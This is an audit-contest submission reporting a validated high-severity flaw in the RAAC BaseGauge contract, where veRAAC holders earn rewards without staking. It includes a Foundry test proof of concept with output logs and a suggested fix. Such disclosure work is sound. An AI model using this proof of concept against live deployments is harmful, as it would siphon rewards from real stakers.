Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

veRAAC Holders Can Earn Rewards in Gauges Without Staking, Leading to Unfair Distribution

Summary:

The BaseGauge contract allows holders of veRAAC tokens to earn rewards without staking their tokens. This is due to the reward calculation logic, which calculates rewards based on user weight, including boost derived from veRAAC holdings, even if the user has no staked tokens. This leads to unfair reward distribution, as veRAAC holders can claim rewards without contributing to the gauge's staked capital.

Vulnerability Details:

  1. Reward Calculation Based on User Weight: The earned function in BaseGauge calculates rewards based on getUserWeight, which in turn incorporates boost from veRAAC holdings via _applyBoost and BoostCalculator.calculateBoost.

  2. No Staking Requirement: The earned function does not check if the user has staked any tokens. A user can hold veRAAC tokens, which grant them boost, and thus weight, without ever staking any stakingToken.

  3. Instant Reward Claim: If rewardPerTokenStored is greater than 0 (meaning rewards have been distributed), a veRAAC holder can call getReward and claim rewards based on their veRAAC-derived weight, even if they have no staked tokens.

Impact:

  • Unfair Reward Distribution: Users who stake their tokens and contribute to the gauge's capital are unfairly disadvantaged. veRAAC holders can effectively siphon rewards without any contribution.

  • Discourages Staking: The ability to earn rewards without staking disincentivizes users from locking their tokens, which could negatively impact the gauge's total staked amount and its overall effectiveness.

  • Potential for Abuse: Malicious actors could exploit this by acquiring veRAAC, claiming rewards without staking, effectively extracting value from the system without contributing.

Proof of Concept (PoC):

Scenario:

  1. Alice stakes 100e18 tokens in the BaseGauge and holds 100e18 veRAAC. After a day, she earns some rewards.

  2. Bluedragon acquires 100e18 veRAAC tokens but does not stake any tokens.

  3. Because rewardPerTokenStored is now greater than 0 (due to Alice's staking and subsequent reward distribution), Bluedragon can call getReward and claim rewards based on their veRAAC holdings, even though they haven't staked any tokens. They effectively benefit from Alice's staking activity.

This scenario demonstrates how veRAAC holders can unfairly earn rewards without staking, diluting the rewards intended for actual stakers like Alice.

Proof Of Code:

  1. Use this guide to intergrate foundry into your project: foundry

  2. Create a new file FortisAudits.t.sol in the test directory.

  3. Add the following gist code to the file: Gist Code

  4. Run the test using forge test --mt test_FortisAudits_UnfairRewardDistribution -vvvv.

function test_FortisAudits_UnfairRewardDistribution() public {
address bluedragon = makeAddr("bluedragon");
vm.startPrank(initialOwner);
raacToken.setMinter(initialOwner);
raacToken.mint(address(raacGauge), 125_000e18);
raacToken.mint(anon, 1000e18);
raacToken.mint(bluedragon, 1000e18);
gaugeController.addGauge(address(raacGauge), IGaugeController.GaugeType.RAAC, 1000e18);
vm.stopPrank();
stakingToken.mint(anon, 100e18);
vm.warp(1739686038); // (Feb 16 2025)
vm.startPrank(anon);
raacToken.approve(address(veraacToken), 1000e18);
veraacToken.lock(400e18, 365 days); // 100e18 veRAACToken is minted for 400e18 RAACToken
gaugeController.distributeRewards(address(raacGauge));
console.log("Alice has %d veRAACToken", veraacToken.balanceOf(anon));
skip(1 days);
stakingToken.approve(address(raacGauge), 100e18);
console.log("Alice has %d stakingToken", stakingToken.balanceOf(anon));
raacGauge.stake(100e18);
console.log("Alice stakes %d stakingToken", raacGauge.balanceOf(anon));
console.log("Alice balance in gauge %d", raacGauge.balanceOf(anon));
skip(1 days);
raacGauge.rewardRate();
raacGauge.rewardPerTokenStored();
IERC20(raacGauge.rewardToken()).balanceOf(address(raacGauge));
uint256 earned = raacGauge.earned(anon); // 446_428.57
console.log("After staking for 1 day, Alice has earned %d of reward tokens ", earned);
vm.stopPrank();
vm.startPrank(bluedragon);
raacToken.approve(address(veraacToken), 1000e18);
console.log("Bluedragon locks %d RAACToken for 365 days", uint256(400e18));
veraacToken.lock(400e18, 365 days); // 100e18 veRAACToken is minted for 400e18 RAACToken
console.log("Bluedragon gets %d veRAACToken", veraacToken.balanceOf(bluedragon));
uint256 earned_b = raacGauge.earned(bluedragon);
console.log("Now, Bluedragon instantly gets %d of rewards without staking", earned_b);
console.log("Bluedragon balance in gauge %d", raacGauge.balanceOf(bluedragon));
vm.stopPrank();
}
[PASS] test_FortisAudits_UnfairRewardDistribution() (gas: 1589537)
Logs:
Alice has 100000000000000000000 veRAACToken
Alice has 100000000000000000000 stakingToken
Alice stakes 100000000000000000000 stakingToken
Alice balance in gauge 100000000000000000000
After staking for 1 day, Alice has earned 446428571428571426640000 of reward tokens
Bluedragon locks 400000000000000000000 RAACToken for 365 days
Bluedragon gets 100000000000000000000 veRAACToken
Now, Bluedragon instantly gets 312499999999999998648000 of rewards without staking
Bluedragon balance in gauge 0

Tools Used:

  • Manual code review

Recommended Mitigation:

Require Staking for Rewards: Modify the earned function in BaseGauge to check if a user has staked any tokens before calculating and distributing rewards. A simple check like _balances[account] > 0 would suffice.

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge::earned calculates rewards using getUserWeight instead of staked balances, potentially allowing users to claim rewards by gaining weight without proper reward checkpoint updates

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge::earned calculates rewards using getUserWeight instead of staked balances, potentially allowing users to claim rewards by gaining weight without proper reward checkpoint updates

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.